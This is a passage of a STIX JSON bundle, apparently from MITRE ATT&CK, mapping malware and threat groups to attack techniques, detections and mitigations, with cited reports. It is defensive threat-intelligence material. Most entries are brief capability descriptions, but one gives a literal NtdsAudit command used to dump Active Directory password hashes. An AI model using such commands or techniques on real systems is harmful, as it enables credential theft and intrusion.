2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). 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Global Energy Cyberattacks: “Night Dragon”. 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(2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-08-05T19:18:46.603Z","description":"[REvil](https://attack.mitre.org/software/S0496) can exfiltrate host and malware information to C2 servers.(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd9a12ee-30b1-4764-860d-111c73411ebe","type":"relationship","created":"2021-03-16T22:47:15.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Driver Block Rules","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules","description":"Microsoft. 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(2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Talos Cobalt Strike September 2020","url":" https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021."},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T20:06:39.420Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154)'s Beacon payload is capable of running shell commands without <code>cmd.exe</code> and PowerShell commands without <code>powershell.exe</code>(Citation: cobaltstrike manual)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c93f0f0-7e90-4c30-bcd8-850077a8a2f1","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitoring the creation of (sub)keys within the Windows Registry may reveal malicious root certificate installation. Installed root certificates are located in the Registry under <code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code> and </code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Tripwire AppUNBlocker","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.","url":"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9c08e10-909d-46d0-aa15-b99d1487be62","type":"relationship","created":"2020-03-27T13:32:37.823Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning","description":"Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.","source_name":"Wikipedia HPKP"}],"modified":"2021-08-16T19:46:03.661Z","description":"HTTP Public Key Pinning (HPKP) is one method to mitigate potential [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b875be8-3849-46e2-80cb-dec502f78f52","type":"relationship","created":"2020-05-22T18:00:52.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BitDefender Chafer May 2020","url":"https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."}],"modified":"2021-04-23T01:30:56.557Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has communicated with C2 through files uploaded to and downloaded from DropBox.(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ddbd80ff-1319-4c9e-ad3c-93091b12a577","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a8068fb-7cf9-4ab6-92a7-e8b3ecdf578d","type":"relationship","created":"2019-01-30T13:28:47.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2019-06-28T15:15:54.413Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can use scripts to invoke PowerShell to download a malicious PE executable or PE DLL for execution.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24dc9286-7e7a-4c5a-a4b2-d09324adc70b","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5fc744e-c8a0-454a-9832-71dede3897ba","type":"relationship","created":"2020-01-28T14:05:17.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-23T18:12:36.856Z","description":"Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b29637f2-49be-4785-b82b-09661f25c42c","type":"relationship","created":"2021-04-01T21:13:03.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","source_name":"Cyphort EvilBunny Dec 2014"}],"modified":"2021-04-01T21:13:03.578Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has used time measurements from 3 different APIs before and after performing sleep operations to check and abort if the malware is running in a sandbox.(Citation: Cyphort EvilBunny Dec 2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e2e672a-02d4-4510-a629-942d44a558f1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2021-04-27T19:53:40.811Z","description":"[DustySky](https://attack.mitre.org/software/S0062) contains a keylogger.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0bba4a5-a3c3-4cf7-9347-c9070cb18998","type":"relationship","created":"2020-09-11T13:27:44.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-10-01T13:39:20.860Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can enumerate computers and network devices.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef5479d8-f8f3-4754-989e-9930a245899c","type":"relationship","created":"2020-11-17T20:53:33.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-17T20:53:33.488Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can infect victims by brute forcing SMB.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07e8c425-2d17-48ea-98ca-40a2aac8cc10","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.761Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use process hollowing to inject one of its trojans into another process.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e113a7f-2aba-4dc6-b4fc-4c0f0d013c3d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T19:50:53.350Z","description":"[MacSpy](https://attack.mitre.org/software/S0282) uses Tor for command and control.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--f72251cb-2be5-421f-a081-99c29a1209e7","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8904d69b-a5ab-4e4c-b7c7-c437e7859b8a","type":"relationship","created":"2021-03-05T18:13:06.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-03-05T18:13:06.615Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used batch scripts on victim's machines.(Citation: Crowdstrike Indrik November 2018) ","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd5b6f31-2248-4af8-8e8e-e3273aaa57e4","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.","url":"http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"}],"modified":"2019-07-25T14:25:53.425Z","description":"(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e324a04-e543-4eed-bf21-cdf446d8f8f6","type":"relationship","created":"2020-05-18T20:04:59.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. 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Retrieved September 29, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:24:43.017Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can download additional payloads from C2.(Citation: CISA SoreFang July 2016)(Citation: NCSC APT29 July 2020)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1719d211-582f-4ae9-90f4-2ec984360927","type":"relationship","created":"2019-01-30T15:27:06.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. 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Retrieved March 3, 2022."}],"modified":"2022-03-07T19:40:03.521Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can use non-standard ports for C2 not typically associated with HTTP or HTTPS traffic.(Citation: NCSC Cyclops Blink February 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49f761f9-89d2-4e6f-a0c6-fc5e32cca471","type":"relationship","created":"2020-06-22T14:58:06.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.168Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has the ability to check if <code>/usr/sbin/setenforce</code> exists. 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Retrieved July 9, 2018.","source_name":"Microsoft FinFisher March 2018"}],"modified":"2019-08-12T17:30:07.512Z","description":"Some [FinFisher](https://attack.mitre.org/software/S0182) variants incorporate an MBR rootkit.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d7a9d82-1400-42bd-982a-3e0e4d9396fa","type":"relationship","created":"2020-01-31T19:01:42.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-31T19:01:42.172Z","relationship_type":"revoked-by","source_ref":"attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccd99593-7ff0-4706-aa94-73cc8d237fe8","type":"relationship","created":"2019-05-24T17:57:36.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/","source_name":"Cyber Forensicator Silence Jan 2019"},{"source_name":"Group IB Silence Sept 2018","url":"https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."}],"modified":"2020-05-06T03:19:33.693Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has deleted artifacts, including scheduled tasks, communicates files from the C2 and other logs.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: Group IB Silence Sept 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64abef3c-d453-4782-b084-25f684b3f7ae","type":"relationship","created":"2020-08-27T17:29:05.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cycraft Chimera April 2020","url":"https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."},{"source_name":"NCC Group Chimera January 2021","url":"https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}],"modified":"2021-01-22T15:02:25.587Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has gathered the SYSTEM registry and ntds.dit files from target systems.(Citation: Cycraft Chimera April 2020) [Chimera](https://attack.mitre.org/groups/G0114) specifically has used the NtdsAudit tool to dump the password hashes of domain users via <code>cmsadcs.exe \"NTDS.dit\" -s \"SYSTEM\" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv</code> and used ntdsutil to copy the Active Directory database.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5ba9aa4-f2dd-4433-994b-bfe4c7c972fe","type":"relationship","created":"2021-10-13T22:04:28.577Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. 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Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-20T16:46:50.615Z","description":"[CallMe](https://attack.mitre.org/software/S0077) has the capability to create a reverse shell on victims.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--cb7bcf6f-085f-41db-81ee-4b68481661b5","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8de0953-1f20-47a4-bb02-ea9c30e8f932","type":"relationship","created":"2021-03-01T21:23:22.797Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:23:22.797Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has presented the user with a UAC prompt to elevate privileges while installing.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fec240f-cafc-45f1-bf81-570653c662f8","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. 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Retrieved November 4, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used browser extensions including Google Chrome to steal passwords and cookies from browsers. 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Retrieved January 29, 2021."},{"source_name":"Rewterz Sidewinder COVID-19 June 2020","url":"https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19","description":"Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. 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(Citation: FireEye MuddyWater Mar 2018)(Citation: ClearSky MuddyWater Nov 2018) [POWERSTATS](https://attack.mitre.org/software/S0223) has used PowerShell code with custom string obfuscation (Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60d2b385-14cf-454a-ac92-0d41e3ec397a","type":"relationship","created":"2019-04-24T19:50:33.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian 